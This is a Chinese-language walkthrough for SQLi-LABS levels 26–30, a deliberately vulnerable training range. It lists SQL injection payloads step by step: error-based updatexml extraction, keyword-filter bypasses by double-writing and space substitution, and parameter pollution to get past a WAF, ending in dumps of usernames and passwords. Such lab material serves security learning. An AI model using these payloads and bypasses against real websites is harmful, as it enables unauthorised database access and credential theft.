当前位置: 首页 > news >正文

SQL注入SQLi-LABS 靶场less26-30详细通关攻略

less 26 GET -Error based -All your SPACES and COMMENTS belong to us

1.判断闭合方式

在我们尝试闭合方式的时候发现将我们的and or 空格 注释都过滤掉了,那我们就给他构造一个aandnd进行绕过,空格使用()代替,%20 +都不能使了。

?id=1'oorr'				//页面正常
?id=1''oorr'			//页面错误

2.判断注入方式

在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入

3.构造报错注入语句获取数据库名称

-1' aandnd (updatexml(1,concat(1,database()),3)) oorr'

4.构造语句查询数据库中的表信息

除了and还有or ,information中的or也会过滤,每个空格都会被过滤所以我们使用括号代替时要替换完整。

-1'aandnd(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),3)) oorr'

5.查询字段名

-1'aandnd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),3)) oorr'

6.查询具体信息

password中的or。

-1'aandnd(updatexml(1,concat(1,(select(group_concat(username,passwoorrd)) from (users))),2)) oorr'

less 27 GET -Error based -All your UNION & SELECT belong to us -String -Single quote

1.判断闭合方式

经过尝试,该关过滤了我们的空格,注释,union,select。使用()代替空格,大小写代替union和select。

1' and  (1=2)or'
1' and  (1=1)or'

2.判断注入方式

在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入

3.构造报错注入语句获取数据库名称

-1' and (updatexml(1,concat(1,database()),3)) or'

4.构造语句查询数据库中的表信息

-1'and(updatexml(1,concat(1,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),3)) or'

5.查询字段名

-1'and(updatexml(1,concat(1,(selEct(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),3)) or'

6.查询具体信息

-1'and(updatexml(1,concat(1,(seleCt(group_concat(username,password)) from (users))),2)) or'

less28 GET -Error Based -All your UNION & SELECT Belong to us -String -Single quote with parenthesis

1.判断闭合方式

经过尝试,该关过滤了我们的空格,注释,union select。使用%0a代替空格,双写代替union select。

2' and '1' ='1
2' and '1' ='2

这里面是存在闭合的,里面如果是')闭合的话代码为('2' and '1' = '1')回显正常所以,这里的闭合为')

2.判断注入方式

这一关没有报错信息,过滤了我们的union select 我们进行绕过后联合注入。

3.构造报错注入语句获取数据库名称

符号也被过滤了,直接使用0使他们正常页面回显不出来,回显我们的联合注入内容。

0')uni union%0Aselecton%0Aselect%0A1,database(),3%0Aand%0A('1

4.构造语句查询数据库中的表信息

0')uni union%0Aselecton%0Aselect%0A1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0a where %0a table_schema='security'),3%0Aand%0A('1

5.查询字段名

0')uni union%0Aselecton%0Aselect%0A1,(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0a where %0a table_schema='security'%0a and %0atable_name='users'),3%0Aand%0A('1

6.查询具体信息

0')%0a union%0a union %0aselect %0a select %0a1,(select%0agroup_concat(username,password)%0afrom%0ausers),3%0Aand%0A('1

less29 GET -Error Based IMPIDENCE MISMATCH - Having a WAF in front of web application

查看源代码,有两个参数,但是会对第一个参数进行校验,所以我们可以将我们的注入语句放在我们的第二个参数上。

1.判断闭合方式

1&id=2' and '1'='1
1&id=2' and '1'='2

2.判断回显点

1&id=-1' union select 1,2,3 and '1'='1

3.构造语句查看数据库名

1&id=-1' union select 1,database(),3 and '1'='1

4.构造语句查看数据表的表名

1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1

5.构造语句查看表内字段名

1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'and '1'='1

6.构造语句查看信息

这里后面的注释一直报错,更换了一下

2&id=0' union select 1,2,group_concat(username,password) from users --+

less30 GET -BLIND IMPIDENCE MISMATCH - Having a WAF in front of web application

这一关和上一关(29)除了闭合方式不一样外其他的一模一样,仅给出输入参数图片就不贴了。相信各位大佬都会的。

1.数据库名

1&id=-1' union select 1,database(),3 and '1'='1

2.表名

1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1

3.字段名

1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'and '1'='1

4.具体信息

2&id=0' union select 1,2,group_concat(username,password) from users --+
http://www.dtcms.com/a/303813.html

相关文章:

  • Elasticsearch 深度分页问题与 `search_after` 解决方案
  • 从centos更换至ubuntu的安装、配置、操作记录
  • cpolar 内网穿透 ubuntu 使用石
  • 知识点梳理
  • 基于三台主机搭建 Web 服务环境:Nginx、NFS 与 DNS 配置全流程
  • Python实用代码示例大全
  • tcp通讯学习数据传输
  • Effective C++ 条款10:令operator=返回一个reference to *this
  • 渗透测试与漏洞扫描有什么区别?
  • napping靶机教程(超详细讲解)
  • Leetcode-3152 特殊数组 II
  • TCPDump实战手册:协议/端口/IP过滤与组合分析指南
  • 【Java面试题】面向对象
  • 站点到站点-主模式
  • 【C++基础】函数调用约定(x86/ARM 差异对比):面试高频考点与真题解析
  • 面试遇到的问题3
  • java String类
  • 打印机错误0x0000011B,0x00000709,0x00000BCD,修复工具下载。
  • ElasticSearch 的3种数据迁移方案
  • Nginx安装流程
  • Vue.js 指令系统完全指南:深入理解 v- 指令
  • 递归推理树(RR-Tree)系统:构建认知推理的骨架结构
  • 【C++】1. C++基础知识
  • 传媒行业视频制作:物理服务器租用是隐藏的效率引擎
  • 【Golang】Go语言Map数据类型
  • Qt 并行计算框架与应用
  • 【go】语言的匿名变量如何定义与使用
  • TDengine 中 TDgpt 异常检测的机器学习算法
  • spring data mongodb 入门使用手册
  • [Linux入门] Linux 部署本地 APT 仓库及 NFS 共享服务全攻略